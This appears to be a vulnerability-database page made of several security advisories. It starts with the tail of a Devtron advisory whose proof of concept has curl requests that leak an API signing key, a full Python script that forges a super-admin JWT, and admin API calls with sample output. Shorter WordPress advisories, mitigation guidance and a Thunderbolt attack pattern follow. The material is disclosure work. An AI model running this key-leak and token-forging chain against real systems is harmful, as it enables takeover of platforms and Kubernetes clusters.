${USER_TOKEN:0:50}...\"\n```\n\n**Actual Output Example**:\n```json\n{\n  \"code\": 200,\n  \"status\": \"OK\",\n  \"result\": {\n    \"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\",\n    \"userId\": 1,\n    \"userEmail\": \"admin\"\n  }\n}\n```\n\n#### Step 2: Exploit Vulnerability to Retrieve apiTokenSecret\n\nUse the obtained token to access the unauthorized Attributes API:\n\n```bash\n# Request apiTokenSecret\ncurl -s -X GET \"http://127.0.0.1:8000/orchestrator/attributes?key=apiTokenSecret\" \\\n  -H \"token: ${USER_TOKEN}\" | jq .\n\n# Extract secret\nAPI_SECRET=$(curl -s -X GET \"http://127.0.0.1:8000/orchestrator/attributes?key=apiTokenSecret\" \\\n  -H \"token: ${USER_TOKEN}\" | jq -r \u0027.result.value\u0027)\n\necho \"Leaked API Token Secret: ${API_SECRET:0:20}...\"\necho \"Secret length: ${#API_SECRET} characters\"\n```\n\n**Actual Output Example**:\n```json\n{\n  \"code\": 200,\n  \"status\": \"OK\",\n  \"result\": {\n    \"id\": 1,\n    \"key\": \"apiTokenSecret\",\n    \"value\": \"a1b2c3d4-e5f6-7890-abcd-ef1234567890\",\n    \"active\": true,\n    \"createdOn\": \"2024-01-15T10:30:00Z\",\n    \"createdBy\": 1\n  }\n}\n```\n\n#### Step 3: Forge Admin JWT Token\n\nForge admin token using the leaked key:\n\n```bash\n# Install PyJWT if not already installed\npip3 install PyJWT\n\n# Create token forging script\ncat \u003e forge_token.py \u003c\u003c \u0027EOF\u0027\n#!/usr/bin/env python3\nimport jwt\nimport time\nimport sys\nimport json\n\ndef forge_admin_token(secret, user_id=1, email=\"admin\"):\n    exp_time = int(time.time()) + 365 * 24 * 60 * 60\n\n    payload = {\n        \"sub\": str(user_id),\n        \"email\": email,\n        \"iat\": int(time.time()),\n        \"exp\": exp_time,\n        \"iss\": \"devtron\",\n        \"roles\": [\"role:super-admin___\"]\n    }\n\n    token = jwt.encode(payload, secret, algorithm=\"HS256\")\n    return token\n\nif __name__ == \"__main__\":\n    if len(sys.argv) \u003c 2:\n        print(\"Usage: python forge_token.py \u003capiTokenSecret\u003e\")\n        sys.exit(1)\n\n    secret = sys.argv[1]\n    admin_token = forge_admin_token(secret, user_id=1, email=\"admin\")\n    print(f\"[+] Forged Admin Token:\")\n    print(admin_token)\n    print()\n\n    decoded = jwt.decode(admin_token, secret, algorithms=[\"HS256\"])\n    print(f\"[+] Token Payload:\")\n    print(json.dumps(decoded, indent=2))\nEOF\n\nchmod +x forge_token.py\n\n# Forge admin token\npython3 forge_token.py \"${API_SECRET}\"\n```\n\n**Actual Output Example**:\n```\n[+] Forged Admin Token:\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwiZW1haWwiOiJhZG1pbiIsImlhdCI6MTcwNTMxNDAwMCwiZXhwIjoxNzM2ODUwMDAwLCJpc3MiOiJkZXZ0cm9uIiwicm9sZXMiOlsicm9sZTpzdXBlci1hZG1pbl9fXyJdfQ.xYz123AbC456DeF789GhI012JkL345MnO678PqR901StU\n\n[+] Token Payload:\n{\n  \"sub\": \"1\",\n  \"email\": \"admin\",\n  \"iat\": 1705314000,\n  \"exp\": 1736850000,\n  \"iss\": \"devtron\",\n  \"roles\": [\n    \"role:super-admin___\"\n  ]\n}\n```\n\n#### Step 4: Test Forged Token with Admin APIs\n\nUse the forged token to access admin APIs:\n\n```bash\n# Extract forged token\nFORGED_TOKEN=$(python3 forge_token.py \"${API_SECRET}\" | grep -A 1 \"Forged Admin Token:\" | tail -1)\n\n# Test 1: Get all users (requires admin permission)\necho \"[*] Test 1: Getting user list...\"\ncurl -s -X GET \"http://127.0.0.1:8000/orchestrator/user/all\" \\\n  -H \"token: ${FORGED_TOKEN}\" | jq \u0027.result[] | {id, email_id, roles}\u0027\n\n# Test 2: Get cluster list (requires admin permission)\necho \"[*] Test 2: Getting cluster list...\"\ncurl -s -X GET \"http://127.0.0.1:8000/orchestrator/cluster\" \\\n  -H \"token: ${FORGED_TOKEN}\" | jq \u0027.result[] | {id, cluster_name, server_url}\u0027\n\n# Test 3: Get all applications\necho \"[*] Test 3: Getting application list...\"\ncurl -s -X GET \"http://127.0.0.1:8000/orchestrator/app/list\" \\\n  -H \"token: ${FORGED_TOKEN}\" | jq \u0027.result\u0027\n```\n\n**Actual Output Example**:\n```\n[*] Test 1: Getting user list...\n{\n  \"id\": 1,\n  \"email_id\": \"admin\",\n  \"roles\": [\"role:super-admin___\"]\n}\n{\n  \"id\": 2,\n  \"email_id\": \"developer@example.com\",\n  \"roles\": [\"role:developer\"]\n}\n\n[*] Test 2: Getting cluster list...\n{\n  \"id\": 1,\n  \"cluster_name\": \"default_cluster\",\n  \"server_url\": \"https://kubernetes.default.svc\"\n}\n\n[*] Test 3: Getting application list...\n{\n  \"appContainers\": [\n    {\n      \"appId\": 1,\n      \"appName\": \"sample-app\",\n      \"projectId\": 1\n    }\n  ]\n}\n```\n\n### Expected Result\n\nIf the vulnerability exists, it should be able to:\n\n1. Successfully obtain `apiTokenSecret` using any authenticated user\u0027s token\n2. Successfully forge JWT tokens using the leaked key\n3. Successfully access admin-only APIs using the forged token\n4. Retrieve sensitive information such as user lists, cluster configurations, etc.\n\n## Impact\n\n### Security Impact\n\n**Confidentiality**: Severe impact. Attackers can:\n- Obtain the global API Token signing key\n- Read all user information and permission configurations\n- Access Kubernetes cluster configurations and credentials\n- Read sensitive application configurations and Secrets\n\n**Integrity**: Severe impact. Attackers can:\n- Forge API Tokens for arbitrary user identities\n- Modify application configurations and deployments\n- Create or delete CI/CD pipelines\n- Modify user permissions and roles\n\n**Availability**: High impact. Attackers can:\n- Delete critical applications and configurations\n- Disrupt CI/CD processes\n- Modify cluster configurations causing service interruptions\n\n### Business Impact\n\n1. **Complete Control of Devtron Platform**: Attackers gain privileges equivalent to super administrators\n2. **Lateral Movement to Kubernetes Cluster**: Cluster credentials obtained through Devtron can directly control the underlying Kubernetes\n3. **Supply Chain Attacks**: Can modify CI/CD pipelines to inject malicious code\n4. **Data Breach**: Can access all application configurations and Secrets\n5. **Cloud Environment Penetration**: In cloud environments, can further obtain IAM credentials\n\n### Attack Scenarios\n\n**Scenario 1: Insider Threat**\n- Low-privileged developer exploits this vulnerability to escalate privileges\n- Gains full access to production environment\n- Steals sensitive data or plants backdoors\n\n**Scenario 2: Supply Chain Attack**\n- Attacker obtains low-privileged account through social engineering\n- Exploits vulnerability to gain admin privileges\n- Modifies CI/CD pipelines to inject malicious code\n- Affects all applications using the pipeline\n\n**Scenario 3: Lateral Movement**\n- Attacker has already compromised a low-privileged account\n- Exploits this vulnerability to gain Kubernetes cluster access\n- Deploys cryptocurrency miners or other malicious payloads in the cluster\n\n## Severity\n\n**CVSS v3.1 Score**: 9.8 (Critical)\n\n**CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\n\n**Score Breakdown**:\n- **Attack Vector (AV:N)**: Network accessible, exploited via HTTP API\n- **Attack Complexity (AC:L)**: Low complexity, requires only one HTTP request\n- **Privileges Required (PR:L)**: Requires low privileges (any authenticated user)\n- **User Interaction (UI:N)**: No user interaction required\n- **Scope (S:C)**: Scope changed, can affect resources beyond Devtron (Kubernetes cluster)\n- **Confidentiality (C:H)**: High impact, can read all sensitive information\n- **Integrity (I:H)**: High impact, can modify all configurations and data\n- **Availability (A:H)**: High impact, can delete resources and disrupt services\n\n**Severity Level**: Critical\n\n## Affected Versions\n\n- Devtron: All versions (as of 2026-01-26 verification)\n- Specifically affected code files:\n  - `api/restHandler/AttributesRestHandlder.go`\n  - `pkg/apiToken/ApiTokenSecretService.go`\n\n\n## Workarounds\n\nBefore an official patch is released, the following temporary measures can be taken:\n\n### Option 1: Network-Level Restrictions\n\n```bash\n# Use NetworkPolicy to restrict access to Devtron API\nkubectl apply -f - \u003c\u003cEOF\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n  name: devtron-api-restriction\n  namespace: devtroncd\nspec:\n  podSelector:\n    matchLabels:\n      app: devtron\n  policyTypes:\n  - Ingress\n  ingress:\n  - from:\n    - podSelector:\n        matchLabels:\n          role: admin\n    ports:\n    - protocol: TCP\n      port: 8080\nEOF\n```\n\n### Option 2: Rotate API Token Secret\n\n```bash\n# Generate new secret\nNEW_SECRET=$(openssl rand -hex 32)\n\n# Update in database\nkubectl exec -n devtroncd postgresql-postgresql-0 -- \\\n  psql -U postgres -d orchestrator -c \\\n  \"UPDATE attributes SET value=\u0027${NEW_SECRET}\u0027 WHERE key=\u0027apiTokenSecret\u0027;\"\n\n# Restart Devtron service\nkubectl rollout restart deployment/devtron -n devtroncd\n```\n\n### Option 3: Add API Gateway Filtering\n\nDeploy an API Gateway in front of Devtron to filter sensitive requests to `/orchestrator/attributes`.\n\n\n## Credits\n@b0b0haha (603571786@qq.com)\n@lixingquzhi(mayedoushidalao@163.com)",
  "id": "GHSA-8wpc-j9q9-j5m2",
  "modified": "2026-02-05T00:35:42Z",
  "published": "2026-02-04T19:46:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/devtron-labs/devtron/security/advisories/GHSA-8wpc-j9q9-j5m2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25538"
    },
    {
      "type": "WEB",
      "url": "https://github.com/devtron-labs/devtron/commit/d2b0d260d858ab1354b73a8f50f7f078ca62706f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/devtron-labs/devtron"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": " Devtron Attributes API Unauthorized Access Leading to API Token Signing Key Leakage"
}

GHSA-8WV9-79MG-HGFG

Vulnerability from github – Published: 2024-12-09 15:31 – Updated: 2026-04-28 21:35
VLAI
Details

Missing Authorization vulnerability in Ninja Team Filebird allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Filebird: from n/a through 5.1.4.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-25966"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-09T13:15:24Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Ninja Team Filebird allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Filebird: from n/a through 5.1.4.",
  "id": "GHSA-8wv9-79mg-hgfg",
  "modified": "2026-04-28T21:35:16Z",
  "published": "2024-12-09T15:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25966"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/filebird/vulnerability/wordpress-filebird-plugin-5-1-4-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8WVQ-7R24-J62P

Vulnerability from github – Published: 2025-11-22 09:31 – Updated: 2025-11-22 09:31
VLAI
Details

The GSheetConnector For Ninja Forms plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'njform-google-sheet-config ' page in all versions up to, and including, 2.0.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve information about the system.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-13136"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-22T09:15:42Z",
    "severity": "MODERATE"
  },
  "details": "The GSheetConnector For Ninja Forms plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the \u0027njform-google-sheet-config \u0027 page in all versions up to, and including, 2.0.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve information about the system.",
  "id": "GHSA-8wvq-7r24-j62p",
  "modified": "2025-11-22T09:31:03Z",
  "published": "2025-11-22T09:31:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13136"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3399046%40gsheetconnector-ninja-forms\u0026new=3399046%40gsheetconnector-ninja-forms\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5770cb94-8603-44d9-8cda-925175851b51?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.